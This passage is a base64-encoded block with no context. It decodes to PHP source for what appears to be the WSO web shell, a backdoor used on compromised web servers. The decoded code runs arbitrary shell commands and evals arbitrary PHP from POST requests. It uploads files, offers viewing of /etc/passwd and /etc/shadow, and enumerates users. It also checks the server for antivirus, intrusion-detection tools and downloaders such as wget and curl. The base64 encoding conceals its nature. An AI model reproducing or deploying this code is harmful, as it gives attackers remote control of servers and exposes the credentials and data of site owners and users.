bnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJSk8YnI+JyAuICRj
d2RfbGlua3MgLiAnICcuIHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKSAu
ICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJyAuICRHTE9C
QUxTWydob21lX2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08
L2E+PGJyPicgLiAkZHJpdmVzIC4gJzwvdGQ+JwogICAgICAgLiAnPHRkIHdpZHRo
PTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51
bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0i
UGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwv
c2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VS
VkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFu
Pjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9ub2JyPjwvdGQ+
PC90cj48L3RhYmxlPicKICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRv
cDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3
aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5
bGU9Im1hcmdpbjo1Ij4nOwp9CgpmdW5jdGlvbiB3c29Gb290ZXIoKSB7CgkkaXNf
d3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQg
Y29sb3I9J2dyZWVuJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9
cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7CiAgICBlY2hvICIKPC9kaXY+Cjx0
YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNw
YWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQg
IzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+Cgk8dHI+CgkJPHRk
Pjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVy
biBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xh
c3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNw
ZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJt
aXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9
XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNl
O1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9v
bHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVl
PSc+Pic+PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJt
aXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0
dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8
YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5w
dXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZv
cm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwn
bWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+
JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4
dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwv
dGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xl
JyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPkV4ZWN1
dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQg
bmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwv
Zm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211
bHRpcGFydC9mb3JtLWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEg
dmFsdWU9J0ZpbGVzTUFuJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZh
bHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4KCQk8aW5wdXQgdHlwZT1oaWRk
ZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+CgkJPGlucHV0IHR5cGU9aGlk
ZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJz
ZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CgkJPHNwYW4+VXBsb2Fk
IGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xz
SW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0n
Pj4nPjwvZm9ybT48YnIgID48L3RkPgoJPC90cj48L3RhYmxlPjwvZGl2PjwvYm9k
eT48L2h0bWw+IjsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3
dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwg
J3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKICAgIGZ1bmN0aW9uIHBvc2l4
X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQppZiAoIWZ1bmN0aW9uX2V4
aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNh
YmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgewog
ICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9
CgpmdW5jdGlvbiB3c29FeCgkaW4pIHsKCSRvdXQgPSAnJzsKCWlmIChmdW5jdGlv
bl9leGlzdHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwkb3V0KTsKCQkkb3V0ID0g
QGpvaW4oIlxuIiwkb3V0KTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bh
c3N0aHJ1JykpIHsKCQlvYl9zdGFydCgpOwoJCUBwYXNzdGhydSgkaW4pOwoJCSRv
dXQgPSBvYl9nZXRfY2xlYW4oKTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMo
J3N5c3RlbScpKSB7CgkJb2Jfc3RhcnQoKTsKCQlAc3lzdGVtKCRpbik7CgkJJG91
dCA9IG9iX2dldF9jbGVhbigpOwoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygn
c2hlbGxfZXhlYycpKSB7CgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKCX0gZWxz
ZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKCQkkb3V0
ID0gIiI7CgkJd2hpbGUoIUBmZW9mKCRmKSkKCQkJJG91dCAuPSBmcmVhZCgkZiwx
MDI0KTsKCQlwY2xvc2UoJGYpOwoJfQoJcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9u
IHdzb1ZpZXdTaXplKCRzKSB7CglpZigkcyA+PSAxMDczNzQxODI0KQoJCXJldHVy
biBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKCWVs
c2VpZigkcyA+PSAxMDQ4NTc2KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRz
IC8gMTA0ODU3NiApIC4gJyBNQic7CgllbHNlaWYoJHMgPj0gMTAyNCkKCQlyZXR1
cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwoJZWxzZQoJ
CXJldHVybiAkcyAuICcgQic7Cn0KCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7Cglp
ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CgllbHNlaWYgKCgk
cCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwoJZWxzZWlmICgoJHAgJiAw
eDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKCWVsc2VpZiAoKCRwICYgMHg2MDAw
KSA9PSAweDYwMDApJGkgPSAnYic7CgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0g
MHg0MDAwKSRpID0gJ2QnOwoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAw
MCkkaSA9ICdjJzsKCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkg
PSAncCc7CgllbHNlICRpID0gJ3UnOwoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAn
cicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoJ
JGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4
JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAg
JiAweDAwMjApID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMTApID8g
J3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQw
MCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7
CgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRw
ICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/
ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/
ICdUJyA6ICctJykpOwoJcmV0dXJuICRpOwp9CgpmdW5jdGlvbiB3c29QZXJtc0Nv
bG9yKCRmKSB7CglpZiAoIUBpc19yZWFkYWJsZSgkZikpCgkJcmV0dXJuICc8Zm9u
dCBjb2xvcj0jRkYwMDAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAn
PC9mb250Pic7CgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQoJCXJldHVybiAn
PGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAu
ICc8L2ZvbnQ+JzsKCWVsc2UKCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+
JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKfQoKZnVu
Y3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7CiAgICBpZihmdW5jdGlvbl9leGlzdHMo
InNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOwogICAg
fSBlbHNlIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3
aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQogICAg
ICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICByZXR1cm4gJGZp
bGVzOwogICAgfQp9CgpmdW5jdGlvbiB3c29XaGljaCgkcCkgewoJJHBhdGggPSB3
c29FeCgnd2hpY2ggJyAuICRwKTsKCWlmKCFlbXB0eSgkcGF0aCkpCgkJcmV0dXJu
ICRwYXRoOwoJcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZv
KCkgewoJd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGlu
Zm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWZ1bmN0aW9uIHdz
b1NlY1BhcmFtKCRuLCAkdikgewoJCSR2ID0gdHJpbSgkdik7CgkJaWYoJHYpIHsK
CQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7CgkJCWlmKHN0cnBv
cygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNobyAkdiAuICc8YnI+JzsKCQkJ
ZWxzZQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7
CgkJfQoJfQoKCXdzb1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52
KCdTRVJWRVJfU09GVFdBUkUnKSk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2Fw
YWNoZV9nZXRfbW9kdWxlcycpKQogICAgICAgIHdzb1NlY1BhcmFtKCdMb2FkZWQg
QXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxl
cygpKSk7Cgl3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRH
TE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1
bmN0aW9ucyddOidub25lJyk7Cgl3c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcics
IEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7Cgl3c29TZWNQYXJhbSgnU2FmZSBt
b2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsK
CXdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgn
c2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOwoJd3NvU2VjUGFyYW0oJ2NVUkwgc3Vw
cG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQn
OidubycpOwoJJHRlbXA9YXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlz
cWxfZ2V0X2NsaWVudF9pbmZvJykpCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNx
bF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CglpZihmdW5jdGlvbl9leGlzdHMoJ21z
c3FsX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk1TU1FMIjsKCWlmKGZ1bmN0aW9u
X2V4aXN0cygncGdfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7
CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJJHRlbXBbXSA9
ICJPcmFjbGUiOwoJd3NvU2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBp
bXBsb2RlKCcsICcsICR0ZW1wKSk7CgllY2hvICc8YnI+JzsKCglpZigkR0xPQkFM
U1snb3MnXSA9PSAnbml4JykgewogICAgICAgICAgICB3c29TZWNQYXJhbSgnUmVh
ZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/
InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9l
dGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICAg
ICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRh
YmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhc
IkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9h
PiI6J25vJyk7CiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywg
QGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwogICAgICAgICAg
ICB3c29TZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygn
L2V0Yy9pc3N1ZS5uZXQnKSk7CiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2Fm
ZV9tb2RlJ10pIHsKICAgICAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2dj
YycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbics
J3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUn
LCdzdWlkcGVybCcpOwogICAgICAgICAgICAgICAgJGRhbmdlciA9IGFycmF5KCdr
YXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdj
bGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycs
J3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3Nl
YycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0
Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25p
bmphJyk7CiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dl
dCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJy
b3InKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAg
ICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2Vy
ZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRp
dGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwog
ICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcs
ICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAg
ICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQogICAgICAgICAg
ICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAg
ICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFy
YW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAg
ICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3du
bG9hZGVycyBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGlj
aCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRl
bTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGlt
cGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4n
OwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFjZScsIHdzb0V4
KCdkZiAtaCcpKTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIb3N0cycs
IEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKICAgICAgICAgICAg
ICAgIGVjaG8gJzxici8+PHNwYW4+cG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRj
L3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51
bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1
cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4
dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48
dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+
PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9y
bT4nOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0ICgkX1BPU1RbJ3AyJ10sICRf
UE9TVFsncDMnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3AyJ10pICYmIGlzX251
bWVyaWMoJF9QT1NUWydwMyddKSkgewogICAgICAgICAgICAgICAgICAgICR0ZW1w
ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0g
JF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7CiAgICAgICAgICAgICAgICAg
ICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsKICAg
ICAgICAgICAgICAgICAgICAgICAgaWYgKCR1aWQpCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwogICAgICAg
ICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8YnIvPic7
CiAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJzJywgJHRlbXAp
OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Cgl9IGVsc2UgewoJCXdz
b1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOwoJCXdzb1NlY1Bh
cmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOwoJ
CXdzb1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyx3c29FeCgnbmV0IHVzZXInKSk7
Cgl9CgllY2hvICc8L2Rpdj4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFj
dGlvblBocCgpIHsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAg
IFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4
JywgdHJ1ZSk7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsncDEnXSk7CgkJ
JHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0
eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1
dCcpLmlubmVySFRNTD0nIiAuIGFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMo
b2JfZ2V0X2NsZWFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsKCQllY2hv
IHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihl
bXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAg
ICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4g
J2FqYXgnLCAwKTsKCgl3c29IZWFkZXIoKTsKCWlmKGlzc2V0KCRfUE9TVFsncDIn
XSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7CgkJZWNobyAnPGgxPlBI
UCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHN0eWxlPi5wIHtjb2xvcjoj
MDAwO308L3N0eWxlPic7CgkJb2Jfc3RhcnQoKTsKCQlwaHBpbmZvKCk7CgkJJHRt
cCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICR0bXAgPSBwcmVnX3JlcGxhY2Uo
YXJyYXkgKAogICAgICAgICAgICAnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwg
aDEsIGgyKSB7Lip9IW1zaVUnLAogICAgICAgICAgICAnIXRkLCB0aCB7KC4qKX0h
bXNpVScsCiAgICAgICAgICAgICchPGltZ1tePl0rPiFtc2lVJywKICAgICAgICAp
LCBhcnJheSAoCiAgICAgICAgICAgICcnLAogICAgICAgICAgICAnLmUsIC52LCAu
aCwgLmggdGggeyQxfScsCiAgICAgICAgICAgICcnCiAgICAgICAgKSwgJHRtcCk7
CgkJZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48
YnI+JzsKCX0KICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxk
aXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3Vi
bWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5j
b2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUs
XCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9
YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxz
cGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0
IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4n
OwoJZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0x
ICcuKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/
J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1Q
aHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6
bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsKCWlmKCFl
bXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9T
VFsncDEnXSk7CgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigp
KTsKCX0KCWVjaG8gJzwvcHJlPjwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVu
Y3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CiAgICBpZiAoIWVtcHR5ICgkX0NPT0tJ
RVsnZiddKSkKICAgICAgICAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRf
Q09PS0lFWydmJ10pOwogICAgCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJ
CXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQkJY2FzZSAndXBsb2FkRmlsZSc6CgkJ
CQlpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1l
J10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkKCQkJCQllY2hvICJDYW4ndCB1cGxv
YWQgZmlsZSEiOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ21rZGlyJzoKCQkJCWlmKCFA
bWtkaXIoJF9QT1NUWydwMiddKSkKCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3
IGRpciI7CgkJCQlicmVhazsKCQkJY2FzZSAnZGVsZXRlJzoKCQkJCWZ1bmN0aW9u
IGRlbGV0ZURpcigkcGF0aCkgewoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwt
